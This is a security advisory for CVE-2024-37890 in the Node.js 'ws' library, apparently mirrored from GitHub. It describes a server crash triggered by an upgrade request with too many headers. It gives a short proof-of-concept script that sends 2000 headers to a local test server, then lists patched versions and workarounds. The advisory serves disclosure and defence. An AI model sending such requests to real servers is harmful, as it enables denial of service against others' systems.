描述

### Impact A request with a number of headers exceeding the [`server.maxHeadersCount`][] threshold could be used to crash a ws server. ### Proof of concept ```js const http = require('http'); const WebSocket = require('ws'); const wss = new WebSocket.Server({ port: 0 }, function () { const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split(''); const headers = {}; let count = 0; for (let i = 0; i < chars.length; i++) { if (count === 2000) break; for (let j = 0; j < chars.length; j++) { const key = chars[i] + chars[j]; headers[key] = 'x'; if (++count === 2000) break; } } headers.Connection = 'Upgrade'; headers.Upgrade = 'websocket'; headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ=='; headers['Sec-WebSocket-Version'] = '13'; const request = http.request({ headers: headers, host: '127.0.0.1', port: wss.address().port }); request.end(); }); ``` ### Patches The vulnerability was fixed in [email protected] (https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c) and backported to [email protected] (https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f), [email protected] (https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63), and [email protected] (https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e). ### Workarounds In vulnerable versions of ws, the issue can be mitigated in the following ways: 1. Reduce the maximum allowed length of the request headers using the [`--max-http-header-size=size`][] and/or the [`maxHeaderSize`][] options so that no more headers than the `server.maxHeadersCount` limit can be sent. 2. Set `server.maxHeadersCount` to `0` so that no limit is applied. ### Credits The vulnerability was reported by [Ryan LaPointe](https://github.com/rrlapointe) in https://github.com/websockets/ws/issues/2230. ### References - https://github.com/advisories/GHSA-3h5v-q93c-6h6q - https://www.cve.org/CVERecord?id=CVE-2024-37890 - https://github.com/websockets/ws/issues/2230 - https://github.com/websockets/ws/pull/2231 [`--max-http-header-size=size`]: https://nodejs.org/api/cli.html#--max-http-header-sizesize [`maxHeaderSize`]: https://nodejs.org/api/http.html#httpcreateserveroptions-requestlistener [`server.maxHeadersCount`]: https://nodejs.org/api/http.html#servermaxheaderscount
